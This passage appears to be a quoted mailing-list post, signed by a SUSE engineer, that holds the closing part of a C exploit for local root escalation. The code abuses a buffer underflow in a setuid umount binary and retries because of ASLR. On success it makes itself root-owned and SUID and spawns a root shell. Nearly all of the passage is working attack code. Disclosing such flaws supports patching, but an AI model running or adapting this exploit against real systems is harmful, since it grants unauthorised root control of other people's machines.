> "%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
> },
> (char*[]){
> escalationString,
> "BBBB5678%3$s\n",
> "BBBBABCD%s\n"},
> 3);
> assert(!result);
> break;
> case 2:
> case 3:
> // Wait for pipe connection and output any result from umount.
> /*
> readBuffer[readDataLength]=0;
> fprintf(stderr, "%s\n", readBuffer);
> */
> readDataLength=0;
> break;
> default:
> fprintf(stderr, "Logic error, state %d\n", escalationPhase);
> goto attemptEscalationCleanup;
> }
> if(moveLength) {
> memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
> readDataLength-=moveLength;
> }
> }
> }
>
> attemptEscalationCleanup:
> // Wait some time to avoid killing umount even when exploit was
> // successful.
> sleep(1);
> close(childStdout);
> // It is safe to kill the child as we did not wait for it to finish
> // yet, so at least the zombie process is still here.
> kill(childPid, SIGKILL);
> pid_t waitedPid=waitpid(childPid, NULL, 0);
> assert(waitedPid==childPid);
>
> return(escalationSuccess);
> }
>
>
> /** This function invokes the shell specified via environment
> * or the default shell "/bin/sh" when undefined. The function
> * does not return on success.
> * @return -1 on error
> */
> int invokeShell(char *shellName) {
> if(!shellName)
> shellName=getenv("SHELL");
> if(!shellName)
> shellName="/bin/sh";
> char* shellArgs[]={shellName, NULL};
> execve(shellName, shellArgs, environ);
> fprintf(stderr, "Failed to launch shell %s\n", shellName);
> return(-1);
> }
>
> int main(int argc, char **argv) {
> char *programmName=argv[0];
> int exitStatus=1;
>
> if(getuid()==0) {
> fprintf(stderr, "%s: you are already root, invoking shell ...\n",
> programmName);
> invokeShell(NULL);
> return(1);
> }
>
> if(geteuid()==0) {
> struct stat statBuf;
> int result=stat("/proc/self/exe", &statBuf);
> assert(!result);
> if(statBuf.st_uid||statBuf.st_gid) {
> fprintf(stderr, "%s: internal invocation, setting SUID mode\n",
> programmName);
> int handle=open("/proc/self/exe", O_RDONLY);
> fchown(handle, 0, 0);
> fchmod(handle, 04755);
> exit(0);
> }
>
> fprintf(stderr, "%s: invoked as SUID, invoking shell ...\n",
> programmName);
> setresgid(0, 0, 0);
> setresuid(0, 0, 0);
> invokeShell(NULL);
> return(1);
> }
>
> int argPos;
> for(argPos=1; argPos<argc;) {
> char *argName=argv[argPos++];
> if(argPos==argc) {
> fprintf(stderr, "%s requires parameter\n", argName);
> return(1);
> }
> if(!strcmp("--Pid", argName)) {
> char *endPtr;
> namespacedProcessPid=strtoll(argv[argPos++], &endPtr, 10);
> if((errno)||(*endPtr)) {
> fprintf(stderr, "Invalid pid value\n");
> return(1);
> }
> killNamespacedProcessFlag=0;
> } else {
> fprintf(stderr, "Unknown argument %s\n", argName);
> return(1);
> }
> }
>
> fprintf(stderr, "%s: setting up environment ...\n", programmName);
>
> if(!osRelease) {
> if(detectOsRelease()) {
> fprintf(stderr, "Failed to detect OS version, continuing anyway\n");
> }
> }
>
> umountPathname=findUmountBinaryPathname("/bin");
> if((!umountPathname)&&(getenv("PATH")))
> umountPathname=findUmountBinaryPathname(getenv("PATH"));
> if(!umountPathname) {
> fprintf(stderr, "Failed to locate \"umount\" binary, is PATH correct?\n");
> goto preReturnCleanup;
> }
> fprintf(stderr, "%s: using umount at \"%s\".\n", programmName,
> umountPathname);
>
> pid_t nsPid=prepareNamespacedProcess();
> if(nsPid<0) {
> goto preReturnCleanup;
> }
>
> // Gaining root can still fail due to ASLR creating additional
> // path separators in memory addresses residing in area to be
> // overwritten by buffer underflow. Retry regaining until this
> // executable changes uid/gid.
> int escalateMaxAttempts=10;
> int excalateCurrentAttempt=0;
> while(excalateCurrentAttempt<escalateMaxAttempts) {
> excalateCurrentAttempt++;
> fprintf(stderr, "Attempting to gain root, try %d of %d ...\n",
> excalateCurrentAttempt, escalateMaxAttempts);
>
> attemptEscalation();
>
> struct stat statBuf;
> int statResult=stat("/proc/self/exe", &statBuf);
> int stat(const char *pathname, struct stat *buf);
> if(statResult) {
> fprintf(stderr, "Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?\n");
> break;
> }
> if(statBuf.st_uid==0) {
> fprintf(stderr, "Executable now root-owned\n");
> goto escalateOk;
> }
> }
>
> fprintf(stderr, "Escalation FAILED, maybe target system not (yet) supported by exploit!\n");
>
> preReturnCleanup:
> if(namespacedProcessPid>0) {
> if(killNamespacedProcessFlag) {
> kill(namespacedProcessPid, SIGKILL);
> } else {
> // We used an existing namespace or chroot to escalate. Remove
> // the files created there.
> fprintf(stderr, "No namespace cleanup for preexisting namespaces yet, do it manually.\n");
> }
> }
>
> if(!exitStatus) {
> fprintf(stderr, "Cleanup completed, re-invoking binary\n");
> invokeShell("/proc/self/exe");
> exitStatus=1;
> }
> return(exitStatus);
>
> escalateOk:
> exitStatus=0;
> goto preReturnCleanup;
> }
--
Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real <meissner@...e.de>
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